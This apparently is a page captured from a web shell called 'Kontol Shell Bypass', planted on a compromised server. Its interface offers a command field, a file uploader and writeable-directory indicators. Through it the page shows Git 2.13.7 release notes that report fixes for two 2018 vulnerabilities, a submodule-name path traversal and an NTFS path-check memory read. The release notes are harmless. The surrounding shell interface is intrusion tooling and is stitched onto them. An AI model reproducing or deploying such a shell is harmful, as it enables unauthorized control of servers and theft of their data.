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nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/doc/git/RelNotes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc/git/RelNotes/2.13.7.txt
Git v2.13.7 Release Notes
=========================

Fixes since v2.13.6
-------------------

 * Submodule "names" come from the untrusted .gitmodules file, but we
   blindly append them to $GIT_DIR/modules to create our on-disk repo
   paths. This means you can do bad things by putting "../" into the
   name. We now enforce some rules for submodule names which will cause
   Git to ignore these malicious names (CVE-2018-11235).

   Credit for finding this vulnerability and the proof of concept from
   which the test script was adapted goes to Etienne Stalmans.

 * It was possible to trick the code that sanity-checks paths on NTFS
   into reading random piece of memory (CVE-2018-11233).

Credit for fixing for these bugs goes to Jeff King, Johannes
Schindelin and others.

Kontol Shell Bypass